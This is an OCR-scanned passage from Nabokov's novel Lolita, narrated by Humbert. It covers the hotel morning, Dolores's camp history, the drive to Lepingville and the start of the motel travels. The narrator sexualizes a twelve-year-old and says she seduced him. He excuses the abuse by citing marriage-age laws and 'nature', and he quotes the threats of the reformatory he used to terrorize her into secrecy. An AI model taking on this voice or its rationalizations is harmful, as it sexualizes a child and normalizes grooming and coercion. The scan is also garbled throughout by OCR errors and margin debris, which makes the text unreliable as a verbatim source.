working its way toward me under +the soft sand of a remote and fabulous beach: and then her +dimpled dimness would stir, and I would know she was farther +away from me than ever. + +If I dwell at some length on the tremors and groping; of that +distant night, it is because 1 insist upon proring that 1 am not, +and never was, and never could have been, a brutal scoundrel. +The gentle and dreamy regions through which I crept were +the patrimonies of poets — not crime’s prowling ground. Had 1 +reached my goal, my ecstasy would have been all softness, a +case of internal combustion of which she would hardly have +felt the heat, even if she were wide awake. But 1 still hoped she +might gradually be engulfed in a completeness of stupor that +would allow me to taste more than a glimmer of her. And so, +in between tentative approximations, with a confusion of per- +ception metamorphosing her into eyespots g{ moonlight or a +fluffy flowering bush, I would dream I renamed consciousness, +dream I lay in wait. + +In the first antemeridian hours there was a lull in the restless +hole, night. Then around four the corridor toilet cascaded nr.d +its door banged. A little after five a reverberating monologue + +.pm to . mve. in several installments, teem some courtverd +or pu'rir.g place. It was not rcallv a monclrcuc, since tlm + +121 + + + +speaker stopped every few seconds to listen (presumably) to f +another fellow, but that other voice did not reach me, and 1 +so no real meaning could be derived from the part heard. Its : +matter-of-fact intonations, however, helped to bring in the 1 +dawn, and the room was already suffused with lilac gray, when +several industrious toilets went to work, one after the other, +and the clattering and whining elevator began to rise and take ■ +down early risers and downers, and for some minutes I miser- +ably dozed, and Charlotte was a mermaid in a greenish tank, +and somewhere in the passage Dr. Boyd said “Good morning +to you” in a fruity voice, and birds were busy in the trees, and +then Lolita yawned. + +Frigid gentlewomen of the jury! I had thought that months, +perhaps years, would elapse before I dared to reveal myself to +Dolores Haze; but by six she was wide awake, and by six fifteen +we were technically lovers. I am going to tell you something +very strange: it was she who seduced me. + +Upon hearing her first morning yawn, I feigned handsome +profiled sleep. I just did not know what to do. Would she be +shocked at finding me by her side, and not in some spare bed? +Would she collect her clothes and lock herself up in the bath- +room? Would she demand to be taken at once to Rams dale— +to her mother's bedside — back to camp? But my Lo was a +sportive lassie. I felt her eyes on me, and when she uttered at +last that beloved chortling note of hers, I knew her eyes had +been laughing. She rolled over to my side, and her warm brown +hair came against my collarbone. I gave a mediocre imitation +of waking up. We lay quietly. I gently caressed her hair, and +we gently kissed. Her kiss, to my delirious embarrassment, had +some rather comical refinements of flutter and probe which +made me conclude she had been coached atnn early age by a +little Lesbian. No Charlie boy could have taught her that As +if to see whether I had my fill and learned the lesson, she drew +away and surveyed me. Her cheekbones were flushed, her full +underlip glistened, my dissolution was near. All at once, with +a burst of rough glee (the sign of the nymphet!), she put her +mouth to my ear — but for quite a while my mind could not +separate into words the hot thunder of her whisper, and she +laughed, and brushed the hair off her face, and tried again, and +gradually the odd sense of living in a brand new, mad new +dream world, where everything was permissible, came over me +as I realized what she was suggesting. I answered I did not +know what game she and Charlie had played. “You mean you + +122 + + +have never — •?” — her features twisted into a stare of disgusted +incredulity. “You have never — ” she started again. I took time +out by n uzzlin g her a little. “Lay off, will you," she said with +a twangy whine, hastily removing her brown shoulder from +my lips. (It was very curious the way she considered — and +kept doing so for a long time — all caresses except kisses on the +mouth or the stark act of love either “romantic slosh” or +“abnormal".) + +“You mean,” she persisted, now kneeling above me, "yon +never did it when you were a kid?” + +“Never,” I answered quite truthfully. + +“Okay,” said Lolita, ''here is where we start” + +However, I shall not bore my learned readers with a detailed +account of Lolita’s presumption. Suffice it to say that not a +trace of modesty did I perceive in this beautiful hardly formed +young girl whom modem co-education, juvenile mores, the +campfire racket and so forth had utterly and hopelessly de- +praved. She saw the stark act merely as part of a youngster’s +furtive world, unknown to adults. What adults did for pur- +poses of procreation was no business of hers. My life was +bandied by little Lo in an energetic, matter-of-fact manner +as if it were an insensate gadget unconnected with me. While +eager to impress me with the world of tough lads, she was +not quite prepared for certain discrepancies between a kid’s +life and mine. Pride alone prevented her from giving up; for, +in my strange predicament, I feigned supreme stupidity and +bad "her have her way — at least while I could still bear it. But +really- these are irrelevant matters; I am not concerned with +so-called “sex” at all. Anybody can imagine those elements +of animality. A greater endeavor lures me on: to fix once for +all the perilous magic of nymphets. + + +30 + +I have to tread carefully. I have to speak m a whisper. Oh +you, veteran crime reporter, you grave old usher, you once +popular policeman, now in solitary confinement after gracing +that school crossing for years, you wretched emeritus read to by +a boyl It would never do, would it, to have you fellows fail + +123 + + + +madly in love with my Lolita! Had I been a painter, had the +management of The Enchanted Hunters lost its mind one +su mm er day and commissioned me to redecorate their dining +room with murals of my own making, this is what I might have +thought up, let me list some fragments: + +There would have been a lake. There would have been an +arbor in flame-flower. There would have been nature studies — +a tiger pursuing a bird of paradise, a choking snake sheathing +whole the flayed trunk of a shoat. There would have been a +sultan, his face expressing great agony (belied, as it were, by +his molding caress), helping a callypygean slave child to climb +a column of onyx. There would have been those luminous +globules of gonadal glow that travel up the opalescent sides of +juke boxes. There would have been aD lands of camp activities +on the part of the intermediate group. Canoeing, Coranting, +Combing Curls in the lakeside sun. There would have been +poplars, apples, a suburban Sunday. There would have been a +fire opal dissolving within a ripple-ringed pool, a last throb, a +last dab of color, stinging red, smarting pink, a sigh, a wincing +child. + + + +I am trying to describe these things not to relive them in +my present boundless misery, but to sort out the portion of +hell and the portion of heaven in that strange, awful, madden- +ing world — nymphet love. The beastly and beautiful merged at +one point, and it is that borderline I would like to fix, and I +feel I fail to do so utterly. Why? + +The stipulation of the Roman law, according to which a girl +may marry at twelve, was adopted by the Church, and is still +preserved, rather tacitly, in some of the United States. And +fifteen is lawful everywhere. There is nothing wrong, say both +hemispheres, when a brute of forty, blessed by the local priest +and bloated with drink, sheds his sweat-drenched finery and +thrusts himself up to the hilt into his youthful bride. “In such +stimulating temperate climates [says an old magazine in this +prison library] as St Louis, Chicago and Cincinnati, girls + +124 + + +mature about the end of their twelfth year.” Dolores Haze was +bom less than three hundred miles from stimulating Cin- +cinnati. I have but followed nature. I am nature's faithful +hound. Why then this horror that I cannot shake off? Did I +deprive her of her flower? Sensitive gentlewomen of the jury, +I was not even her first lover. + + +32 + + +She toed me the way she had been debauched. We ate flavor- +less mealy bananas, bruised peaches and very palatable potato +chips, and die Kleine told me everything. Her voluble but dis- +jointed account was accompanied by many a droll moue. As I +think I have already observed, I especially remember one wry +face on an “ughl” basis: jelly-mouth distended sideways and +eyes rolled up in a routine blend of comic disgust, resignation +and tolerance for young frailty. + +Her astounding tale started with an introductory mention of +her tent-mate of the previous summer, at another camp, a “very +select” one as she put it That tent-mate ("quite a derelict +character,” “half-crazy,” but a “swell kid’’) instructed her in +various manipulations. At first; loyal Lo refused to tell me +her name. + +“Was it Grace Angel?” I asked. . + +She shook her head. No, it wasn’t, it was the daughter of a +big shot. He — + +“Was it perhaps Rose Carmine?” + +"No, of course, not Her father — ” + +"Was it, then, Agnes Sheridan, perchance?” + +She swallowed and shook her head — and then did a double +take. + +“Say, how come you know all those kids?” + +I explained. + +Well,” she said. “They are pretty bad, some of that school +bunch, but not that bad. If you have to know, her name was +Elizabeth Talbot, she goes now to a swanky private school, +her father is an executive.” + +I recalled with a funny pang the frequency with which poor + +125 + + + +Charlotte used to introduce into party chat such elegant tid- +bits as “when my daughter was out hiking last year with the +Talbot girl.” + +I wanted to know if either mother had learned of those +Sapphic diversions? + +“Gosh no,” exhaled limp Lo mimicking dread and relief, +pressing a falsely fluttering hand to her chest. + +I was more interested, however, in heterosexual experience. +She had entered the sixth grade at eleven, soon after moving +to Ramsdale from the Middle West. What did she mean by +“pretty bad”? + +Well, the Miranda twins had shared the same bed for years, +and Donald Scott, who was the dumbest boy in the school, +had done it with Hazel Smith in his uncle's garage, and Ken- +neth Knight — who was the brightest— -used to exhibit himself +wherever and whenever he had a chance, and — + +“Let us switch to Camp Q,” I said. And presently I got the +whole story. + +Barbara Burke, a sturdy blond, two years older than Lo and +by far the camp’s best swimmer, had a very special canoe +'which she shared with Lo “because I was the only other girl +who could make Willow Island” (some swimming test, I +imagine) . Through July, every morning — mark, reader, every +blessed morning — Barbara and Lo would be helped to carry the +boat to Onyx or Eryx (two small lakes in the wood ) by Charlie +Holmes, the camp mistress' son, aged thirteen — and the only +human male for a couple of miles around (excepting an old +meek stone-deaf handyman, and a farmer in an old Ford who +sometimes sold the campers eggs as farmers will); every morn- +ing, oh my reader, the three children would take a short cut +through the beautiful innocent forest brimming with all the +emblems of youth, dew, birdsongs, and at one point, among +the luxuriant undergrowth, Lo would be left as sentinel, while +Barbara and the boy copulated behind a bush. + +At first, Lo had refused “to try what it was like,’' but +curiosity and camaraderie prevailed, and soon she and Barbara +were doing it by turns with the silent, coarse and surly but +indefatigable Charlie, who had as much sex appeal as a raw +carrot but sported a fascinating collection of contraceptives +which he used to fish out of a third nearby lake, a consider- +ably larger and more populous one, called Lake Climax, after +the booming young factory town of that name. Although +conceding it was “sort of fun” and “fine for the complexion,” + +126 + + +Lolita, I am glad to say, held Charlie's mind and manners m +the greatest contempt Nor had her temperament been roused +by that filthy fiend. In fact, I think he had rather stunned it, + +despite the "fun.” , . , . + +By that time it was close to ten. With the ebb of lust, an +ashen sense of awfulness, abetted by the realistic -drabness of +a gray nearalgic day, crept over me and bummed within my +temples. Brown, naked, frail Lo, her narrow white buttocks +to me, her sulky face to a door mirror, stood, aims akimbo, +feet (in new slippers with pussy-fur tops) wide apart, and +through a forehanging lock tritely mugged at herself in the +glass. From the corridor came the cooing voices of colored +maids at work, and presently there was a mild attempt to open +the door of our room. I had Lo go to the bathroom and take +a much-needed soap shower. The bed was a frightful mess +with overtones of potato chips. She tried on a two-piece navy +wool, then a sleeveless blouse with a swirly clathrate skirt, but +the first was too tight and the second too ample, and when +I begged her to hurry up (the situation was beginning to +frighten me) , Lo viciously sent those nice presents of mine +hurtling into a corner, and put on yesterday’ s dress. When +she was ready at last, I gave her a lovely new purse of simulated +calf (in which I had slipped quite a few pennies and two mint- +bright dimes) and told her to buy herself a magazine in the +lobby. + +"Ill be down in a minute,” I said. “And if I were you, my +dear, I would not talk to strangers.” + +Except for my poor little gifts, there was not much to pack; +but I was forced to devote a dangerous amount of time (was +she up to something downstairs? ) to arranging the bed in sucb +a way as to suggest the abandoned nest of a restless father +and his tomboy daughter, instead of an ex-convict’s saturnalia +with a couple of fat old whores. Then I finished dressing and +had the hoary bellboy come up for the bags. + +Ever ything was fine. There, in the lobby, she sat, deep in an +oyerstuffed blood-red armchair, deep in a lurid movie maga- +zine. A fellow of my age in tweeds (the genre of the place +had changed overnight to a spurious country-squire atmos- +phere) was staring at my Lolita over his dead cigar and stale +newspaper. She wore her professional white socks and saddle +oxfords, and that bright print frock with the square throat a +splash of jaded lamplight brought out the golden down on her +warm brown limbs. There she sat, her legs carelessly high- + +127 + + + +crossed, and her pale eyes swimming along the lines rath +every now and then a blink. Bill’s wife had worshipped him +from afar long before they ever met: in fact, she used to +secretly admire the famous young actor as he ate sundaes in +Schwob's drugstore. Nothing could have been more childish +than her snubbed nose, freckled face or the purplish spot on +her naked neck where a fairytale vampire had feasted, or the +unconscious movement of her tongue exploring a touch of +rosy rash around her swollen lips; nothing could be more harm- +less than to read about JH1, an energetic starlet who made her +own clothes and was a student of serious literature; nothing +could be more innocent than the part in that glossy brown +hair with that silky sheen on the temple; nothing could be +more naive — But what sickening envy the lecherous fellow +whoever he was — come to think of it, he resembled a little +my Swiss uncle Gustave, also a great admirer of le dScouvert — +would have experienced had he known that every nerve in me +was stiH anointed and ringed with the feel of her body — the +body of some immortal daemon disguised as a female child. + +Was pink pig Mr. Swoon absolutely sure my wife had not +telephoned? He was. If she did, would he tell her we had +'gone on to Aunt Clare’s place? He would, indeedie. I settled +the bill and roused Lo from her chair. She read to the car. +Still reading, she was driven to a so-called coffee shop a few +blocks south. Oh, she ate all right. She even laid aside her +magazine to eat, bnt a queer dullness had replaced her usual +cheerfulness. I knew little Lo could be very nasty, so I braced +myself and grinned, and waited for a squall. I was unbathed, +unshaven, and had had no bowel movement. My nerves were +a-jangle. I did not like the way my little mistress shrugged +her shoulders and distended her nostrils when I attempted +casual small talk. Had Phyllis been in the know before she +joined her parents in Maine? I asked with a smile. "Look,” +said Lo making a weeping grimace, “let us get off the sub- +ject” I then tried — also unsuccessfully, no matter how I +smacked my lips — to interest her in the road map. Our desti- +nation was, let me remind my patient reader whose meek +temper Lo ought to have copied, the gay town of LepingviHe, +somewhere near a hypothetical hospital. That destination was +in itself a perfectly arbitrary one (as, alas, so many were to be), +and I shook in my shoes as I wondered how to keep the whole +arrangement plausible, and what other plausible objectives +to invent after we had taken in all the movies in Lepingville. + +128 + + +More and more uncomfortable did Humbert feel. It ■was +something quite special, that feeling: an oppressive, hideous +constraint as if I were sitting with the small ghost of some- +body I had just killed. + +As she was in the act of getting back into the car, an ex- +pression of pain flitted across Lo’s face. It flitted again, more +meaningfully, as she settled down beside me. No doubt, she +reproduced it that second time for my benefit. Foolishly, I +asked her what was the matter. “Nothing, you brute,” she re- +plied. “You what?” I asked. She was silent. Leaving Briceland. +Loquacious Lo was silent Cold spiders of panic crawled down +my back. This was an orphan. This was a lone child, an ab- +solute waif, with whom a heavy-limbed, foul-smelling adult +had had strenuous intercourse three times that very morning. +Whether or not the realization of a lifelong dream had sur- +passed all expectation, it had, in a sense, overshot its mark — +and plunged into a nightmare. I had been careless, stupid, and +ignoble. And let me be quite frank: somewhere at the bottom +of that dark turmoil I felt the writhing of desire again, so +monstrous was my appetite for that miserable nymphet. +Mingled with the pangs of guilt was the agonizing thought +that her mood might prevent me from making love to her +again as soon as I found a nice country road where to park +in peace. In other words, poor Humbert Humbert was dread- +fully unhappy, and while steadily and inanely driving toward +Lepingville, he kept racking his brains for some quip, under +the bright wing of which he might dare turn to his seatmate. +It was she, however, who broke the silence: + +“Oh, a squashed squirrel,” she said. “What a shame.” + +‘Tfes, isn't it?” (eager, hopeful Hum). + +“Let us stop at the next gas station,” Lo continued. **I want +to go to the washroom.” + +‘We shall stop wherever you want,” I said. And then as a +lovely, lonely, supercilious grove (oaks, I thought; American +trees at that stage were beyond me) started to echo greenly +the rush of our car, a red and ferny road on our right turned +its head before slanting into the woodland, and I suggested +we might perhaps — + +"Drive on,” my Lo cried shrilly. + +"Righto. Take it easy.” (Down, poor beast, down.) + +I glanced at her. Thank God, the child was smiling. + +“You chump,” she said, sweetly smiling at me. “You revolt- +ing creature, I was a daisy-fresh girl, and look what you’ve + +129 + + + +done to me. I ought to call the police and tell them yon raped +me. Oh you, dirty, dirty old man/' + +Was she joking? An ominous hysterical note rang through +her silly words. Presently, making a sizzling sound with her +lips, she started complaining of pains, said she could not sit, +said I had tom something inride her. The sweat rolled down +my neck, and we almost rah over some little animal or other +that was crossing the road with tail erect, and again my vfle- +tempered companion called me an ugly name. When we +stopped at the filing station, she scrambled out without a +word and was a long time away. Slowly, lovingly, an elderly +friend with a broken nose, wiped my windshield — they do it +differently at every place, from chamois cloth to soapy brush, +this fellow used a pink sponge. + +She appeared at last. “Look,” she said in that neutral voice +that hurt me so, “give me some dimes and nickels. I want to +call mother in that hospital. What’s the number?” + +“Get in,” I said. “You can’t call that number.” + +“Why?” + +“Get in and slam the door.” + +She got in and slammed the door. The old garage man +beamed at her. I swung onto the highway. * + +'Why can’t I call my mother if I want to?” + +“Because,” I answered, “your mother is dead.” + + + +In the gat town of Lepingville I bought her four books of +comics, a box of candy, a box of sanitary pads, two cokes, a +manicure set, a travel clock with a luminous dial, a ring with a +real topaz, a tennis racket, roller skates with white high shoes, +field glasses, a portable radio set, chewing gum, a transparent +raincoat, sunglasses, some more garments— swooners, shorts, +all kinds of summer frocks. At the hotel we had separate +rooms, but in the middle of the night she came sobbing into +mine, and we made it up very gently. You see, she bad abso- +lutely nowhere else to go. + + +130 + + +Part Two + + + + +1 + + +It was then that began our extensive travels all over the +States. To any other type of tourist accommodation I soon +grew to prefer the Functional Motel — dean, neat, safe nooks, +ideal places for sleep, argument, reconciliation, insatiable illicit +love. At first, in my dread of arousing suspicion, I would ea- +gerly pay for both sections of one double unit, each containing +a double bed. I wondered what type of foursome this arrange- +ment was ever intended for, since only a pharisaic parody of +privacy could be attained by means of the incomplete partition +diriding the cabin or room into two communicating love nests. +By and by, the very possibilities that such honest promiscuity +suggested (two young couples merrily swapping mates or a +child shamming sleep to earwitness primal sonorities) made me +bolder, and every now and then I would take a bed-and-cot +or twin-bed cabin, a prison cell of paradise, with yellow window +shades pulled down to create a morning illusion of Venice and +sunshine when actually it was Pennsylvania and rain. + +We came to know — nous eonnumes, to use a Flaubertian +intonation — the stone cottages under enormous Chateaubrian- + +133 + + + +desque trees, the brick unit, the adobe unit, the stucco court, +on what the Tour Book of the Automobile Association de- +scribes as “shaded” or “spacious” or 'landscaped” grounds. +The log kind, finished in knotty pine, reminded Lo, by its +golden-brown glaze, of fried-chicken bones. We held in con- +tempt the plain whitewashed clapboard Kabins, with their +faint sewerish smell or some other gloomy self-conscious stench +and nothing to boast of (except “good beds”), and an un- +smiling landlady always prepared to have her gift (“. . . well, + +I could give you . . .”) turned down. + +Nous connhmes (this is royal fun) the would-be entice- +ments of their repetitious names — all those Sunset Motels, +U-Beam Cottages, Hillcrest Courts, Pine View' Courts, Moun- +tain View Courts, Skyline Courts, Park Plaza Courts, Green +Acres, Mac’s Courts. There was sometimes a special line in +_the_ write-up, such as “Children welcome, pets allowed” (You I +are welcome, you are allowed). The baths were mostly tiled +showers, vrith an endless variety of spouting mechanisms, +but with one definitely non-Laodicean characteristic in com- +mon, a propensity, while in use, to turn instantly beastly hot or +blindingly cold upon you, depending on whether your neigh- +bor turned on his cold or his hot to deprive you of a necessary +complement in the shower you had so carefully blended. Some +motels had instructions pasted above the toilet (on whose +.tank the towels were unhygienically heaped) asking guests +not to throw into its bowl garbage, beer cans, cartons, still- +bom babies; others had special notices under glass, such as +Things to Do (Riding: You wall often see riders coming down +Main Street on their way back from a romantic moonlight +ride. “Often at 3 a.m.,” sneered unromantic Lo). + +Nous connfim es the various types of motor court operators, +the reformed criminal, the retired teacher and the business +flop, among the males; and the motherly, pseudo-ladylike +and madamic variants among the females. And sometimes +trains would cry in the monstrously hot and humid night with +heartrending and ominous plangency, mingling power and +hysteria in one desperate scream. + +We avoided Tourist Homes, country cousins of Funeral +ones, old-fashioned, genteel and showerless, with elaborate +dressing tables in depressingly white-and-pink little bedrooms, +and photographs of the landlady’s children in all their instars. +But I did surrender, now r and then, to Lo’s predilection for +‘real” hotels. She would pick out in the book, while I petted + +134 + + +her in the parted car in the silence of a dash-mellowed, mys- +E terious side-road, some highly recommended lake lodge which +c ofiered all sorts of things magnified by the flashlight she moved +ill over them, such as congenial company, between-meals snacks, +outdoor barbecues— but which in my mind conjured up odious +i: visions of stinking high school boys in sweatshirts and an em- +:: ber-red cheek pressing against hers, while poor Dr. Humbert, +k embracing nothing but two masculine knees, would cold- +humor his piles on the damp turf. Most tempting to her, +too, were those “Colonial” Inns, which apart from “gracious +~ atmosphere” and picture windows, promised "unlimited + +- quantities of M-m-m food.” Treasured recollections of my +£ father’s palatial hotel sometimes led me to seek for its like +& in the strange country we traveled through. I was soon dis- +e couraged; but Lo kept following the scent of rich food ads, + +while I derived a not exclusively economic kick from such + +- roadside signs as Timber Hotel, Children under 14 Free. +~ On the other hand, I shudder when recalling that soi-disant + +- "high-class” resort in a Midwestern state, which advertised + +-■ "raid-the-icebox” midnight snacks and, intrigued by my ao- +? cent, wanted to know my dead wife’s and dead mother’s +~ maiden names. A two-days’ stay there cost me a hundred and +: twenty-four dollars! And do you remember, Miranda, that + +’ other “ultrasmart” robbers’ den with complimentary morning +* coffee and circulating ice water, and no children under six- + +- teen (no Lolitas, of course)? + +1 Immediately upon arrival at one of the plainer motor +' courts which became our habitual haunts, she would set the +: electric fan a-whirr, or induce me to drop a quarter into the + +radio, or she would read all the signs and inquire with a whine + +- why she could not go riding up some advertised trail or +swimming in that local pool of warm mineral water. Most +often, in the slouching, bored way she cultivated, Lo would +fall prostrate and abominably desirable into a red springchair +or a green chaise longue, or a steamer chair of striped canvas +with footrest and canopy, or a sling chair, or any other lawn +chair under a garden umbrella on the patio, and it would +fake hours of blandishments, threats and promises to make +her lend me for a few seconds her brown limbs in the se- +clusion of the five-dollar room before undertaking anything +she might prefer to my poor joy, + +A combination of naTvetd and deception, of charm and vul- +garity, of blue sulks and rosy mirth, Lolita, when she chose, + +135 + + +could be a most exasperating brat. I was not really quite pre- +pared for her fits of disorganized boredom, intense and ve- +hement griping, her sprawling, droopy, dopey-eyed style, and +what is called goofing off — a kind of diffused clowning which ■ +she thought was tough in a boyish hoodlum way. Mentally, +I found her to be a disgustingly conventional little girl. Sweet +hot jazz, square dancing, gooey fudge sundaes, musicals, movie +magazines and so forth— these were the obvious items in +her list of beloved things. The Lord knows how many nickels +I fed to the gorgeous music boxes that came with every meal +we had! I still hear the nasal voices of those invisibles serenad- +ing her, people with names like Sammy and Jo and Eddy and +Tony and Peggy and Guy and Patty and Rex, and sentimental +song hits, all of them as similar to my ears as her various +candies were to my palate. She believed, with a kind of celestial +trust, any advertisement or advice that appeared in Movie +Love or Screen Land — Starasil Starves Pimples, or “You bet- +ter watch out if you're wearing your shirttails outside your +jeans, gals, because Jill says you shouldn’t." If a roadside sign +said: Visit Our Gift Shop — we had to visit it, had to buy its +Indian curios, dolls, copper jewelry, cactus candy. The words +“novelties and souvenirs” simply entranced her by their tro- +chaic lilt. If some cafd sign proclaimed Icecold Drinks, she +was automatically stirred, although all drinks everywhere were +ice-cold. She it was to whom ads were dedicated: the ideal +consumer, the subject and object of every foul poster. And she +attempted — unsuccessfully — to patronize only those restau- +rants where the holy spirit of Huncan Dines had descended +upon the cute paper, napkins and cottage-cheese-crested salads. + +. In those days, neither she nor I had thought up yet the sys- +tem of monetary bribes which was to work such havoc with +my nerves and her morals somewhat later. I relied on three +other methods to keep my pubescent concubine in submis- +sion and passable temper. A few years before, she had spent +a rainy summer under Miss Phalen's bleary eye in a dilapi- +dated Appalachian farmhouse that had belonged to some +gnarled Haze or other in the dead past. It still stood among +its rank acres of goldenrod on the edge of a flowerless forest, +at the end of a permanently muddy road, twenty miles from +the nearest hamlet Lo recalled that scarecrow of a house, +the solitude, the soggy old pastures, the wind, the bloated +wilderness, -with an energy of disgust that distorted her mouth +and fattened her half-revealed tongue. And it was there that + +136 + + + +I warned her she would dwell with me in exile for months +and years if need be, studying under me French and Latin, +unless her "present attitude” changed. Charlotte, 1 began to +understand youl + +A simple child, Lo would scream nol and frantically dutch +at my driving hand whenever I put a stop to her tornadoes of +temper by turning in the middle of a highway with the im- +plication that I was about to take her straight to that dark +and dismal abode. The farther, however, we traveled away +from it west, -the less tangible that menace became, and I had +to adopt other methods of persuasion. + +Among these, the reformatory threat is the one I recall with +the deepest moan of shame. From the very beginning of our +concourse, I was clever enough to realize that I must secure +her complete co-operation in keeping our relations secret, that +it should become a second nature with her, no matter what +grudge she might bear me, no matter what other pleasures +she might seek. + +"Come and kiss your old man,” I would say, "and drop +that moody nonsense. In former times, when I was still your +dream male [the reader will notice what pains I took to speak +Lo’s tongue , you swooned to records of the number one +throb-and-sob idols of your coevals [Lo: "Of my what? Speak +English”]. That idol of your pals sounded, you thought, like +friend Humbert. But now, I am just your old man, a dream +dad protecting his dream daughter. + +"My chbre Dolor dsl I want to protect you, dear, from all +the horrors that happen to little girls in coal sheds and alley +ways, and, alas, comme vous le savez trop bien, ma gen tide, in +the blueberry woods during the bluest of summers. Through +thick and thin I will still stay your guardian, and if you are +good, I hope a court may legalize that guardianship before +long. Let us, however, forget, Dolores Haze, so-called legal +terminology, terminology that accepts as rational the term +*Iewd and lascivious cohabitation.' I am not a criminal sexual +psychopath taking indecent liberties with a child. The rapist +was Charlie Holmes; I am the therapist — a matter of nice +spacing in the way of distinction, I am your daddum, Lo. +Look, I've a learned book here about young girls. Look, dar- +ling, what it says. I quote: the normal girl — normal, mark +you — the normal girl is usually extremely anxious to please +her father. She feels in him the forerunner of the desired +elusive male (‘elusive’ is good, by Polonius!) . The wise mother + +137 + + +(and your poor mother would have been wise, had she lived) +will encourage a companionship between father and daughter, +realizing — excuse the comy style — that the girl forms her +ideals of romance and of men from her association with her +father. Now, what association does this cheery book mean — ' +and recommend? I quote again: Among Sicilians sexual rela- +tions between a father and his daughter are accepted as a +matter of course, and the girl who participates in such rela- +tionship is not looked upon with disapproval by the society of +which she is part. I'm a great admirer of Sicilians, fine athletes, +fine musicians, fine upright people, Lo, and great lovers. But +let’s not digress. Only the other day we read in the news- +papers some bunkum about a middle-aged morals offender +who pleaded guilty to the violation of the Mann act and to +transporting a nine-year-old girl across state lines for immoral +purposes, whatever these are. Dolores darh'ngl You are not +nine but almost thirteen, and I would not advise you to con- +sider yourself my cross-country slave, and I deplore the Mann +act as lending jtself to a dreadful pun, the revenge that the +Gods of Semantics take against b'ght-zippered Philistines. +I am your father, and I am speaking English, and I love you. + +“Finally, let us see what happens if you, a minor, accused +of having impaired the morals of an adult in a respectable inn, +what happens if you complain to the police of my having kid- +naped and raped you? Let us suppose they believe you. A +minor female, who allows a person over twenty-one to know +her carnally, involves her victim into statutory rape, or second- +degree sodomy, depending on the technique; and the maxi- +mum penalty is ten years. So I go to jail. Okay. I go to jail. +But what happens to you, my orphan? Well, you are luclder. +You become the ward of the Department of Public Welfare — +which I am afraid sounds a little bleak. A nice grim matron +of the Miss Phalen type, but more rigid and not a drinking +woman,' will take away your lipstick and fancy clothes. No +more gadding aboutl I don’t know if you have ever heard of +the law's relating to dependent, neglected, incorrigible and +delinquent children. While I stand gripping the bars, you, +happy neglected child, will be given a choice of various dwell- +ing places, all more or less the same, the correctional school, +the reformatory, the juvenile detention home, or one of those +admirable girls’ protectories where you knit things, and sing +hymns, and have rancid pancakes on Sundays. You will go +there, Lolita — my Lolita, this Lolita will leave her Catullus + +138 + + + +and go there, as the wayward girl you are. In plainer words, if +we two are found out, you will be analyzed and institutional- +ized, my pet, c'est tout. You will dwell, my Lolita will dwell +(come here, my brown flower) with thirty-nine other dopes in +a dirty dormitory (no, allow me, please) under the supervision +of hideous matrons. This is the situation, this is the choice. +Don’t you think that under the circumstances Dolores Haze +had better stick to her old man?” + +By rubbing all this in, I succeeded in terrorizing Lo, who +despite a certain brash alertness of manner and spurts of wit +was not as intelligent a child as her I.Q. might suggest. But +if I managed to establish that background of shared secrecy +and shared guilt, I was much less successful in keeping her in +good humor. Every morning during our yearlong travels I had +to devise some expectation, some special point in space and +time for her to look forward to, for her to survive till bedtime. +Otherwise, deprived of a shaping and sustaining purpose, the +skeleton of her day sagged and collapsed. The object in view +might be anything — a lighthouse in Virginia, a natural cavdin +Arkansas converted to a caf£, a collection of guns and violins +somewhere in Oklahoma, a replica of the Grotto of Lourdes +in Louisiana, shabby photographs . of the bonanza mining +period in the local museum of a Rocky Mountain resort, any- +thing whatsoever — but it had to be there, in front of us, like a +fixed star, although as likely as not Lo would feign gagging ' +as soon as we got to it. + +By putting the geography of the United States into motion, + +I did my best for hours on end to give her the impression of +"going places,” of rolling on to some definite destination, to +some unusual delight. I have never seen such smooth amiable +roads as those that now radiated before us, across the crazy +quilt of forty -eight states. Voraciously we consumed those +long highways, in rapt silence we glided over their glossy black +dance floors. Not only had Lo no eye for scenery but she +furiously resented my calling her attention to this or that +enchanting detail of landscape; which I myself learned to dis- +cern only after being exposed for quite a time to the delicate +beauty ever present in the margin of our undeserving journey. +By a paradox of pictorial thought, the average lowland North- +Amcrican countryside had at first seemed to me something +I accepted with a shock of amused recognition because of +those painted oilcloths which were imported from America +m the old days to be hung above vasbstands in Central- + +139 + + +European nurseries, and which fascinated a drowsy child at +bed time with the rustic green views they depicted— opaque +curly trees, a bam, cattle, a brook, the dull white of vague +orchards in bloom, and perhaps a stone fence or hills of +greenish gouache. But gradually the models of those ele- +mentary rusticities became stranger and stranger to the eye, +the nearer I came to know them., .Beyond the tilled plain, +beyond the toy roofs, there would be a slow suffusion of inutile +loveliness, a low sun in a platinum haze with a warm, peeled- +peach tinge pervading the upper edge of a two-dimensional, +dove-gray cloud fusing with the distant amorous mist. There +might be a line of spaced trees silhouetted against the horizon, +and hot still noons above a wilderness of clover, and Claude +Lorrain clouds inscribed remotely into misty azure with only +their cumulus part conspicious against the neutral swoon of +the background. Or again, it might be a stem El Greco hori- +zon, pregnant with inky rain, and a passing glimpse of some +mummy-necked farmer, and all around alternating strips of +quick-silverish water and harsh green com, the whole arrange- +ment opening like a fan, somewhere in Kansas. + +Now and then, in the vastness of those plains, huge trees +would advance toward us to cluster self-consciously by the +roadside and provide a bit of humanitarian shade above a pic- +nic table, with sun flecks, flattened paper cups, samaras and +discarded ice-cream sticks littering the brown ground. A great +user of roadside facilities, my unfastidious Lo would be +charmed by toilet signs — Guys-Gals, John-Jane, Jack-Jill and +even Buck’s-Doe's; while lost in an artist's dream, I would +stare at the honest brightness of the gasoline paraphernalia +against the splendid green of oaks, or at a distant hill scram- +bling out — scarred but still untamed — from the wilderness +of agriculture that was trying to swallow it. + +At night, tall trucks studded with colored lights, like dread- +ful giant Christmas trees, loomed in the darkness and thun- +dered by the belated little sedan. And again next day a thinly +populated sky, losing its blue to the heat, would melt over- +head, and Lo would clamor for a drink, and her cheeks would +hollow vigorously over the straw, and the car inside would be +a furnace when we got in again, and the road shimmered +ahead, with a remote car changing its shape mirage-like in the +surface glare, and seeming to hang for a moment, old-fash- +ionedly square and high, in the hot haze. And as we pushed +westward, patches of what the garage-man called “sage brush” + +140 + + +appeared, and then the mysterious outlines of table-like hills, +and the red bluffs ink-blotted with junipers, and then a moun- +tain range, dun grading into blue, and blue into dream, and +the desert would meet us with a steady gale, dust, gray thorn +bushes, and hideous bits of tissue paper mimicking pale flow- +ers among the prickles of wind-tortured withered stalks all +along the highway; in the middle of which there sometimes +stood simple cows, immobilized in a position (tail left, white +eyelashes right) cutting across all human rules of traffic. + +My lawyer has suggested I give a clear, frank account of the +itinerary we followed, and I suppose I have reached here a +point where I cannot avoid that 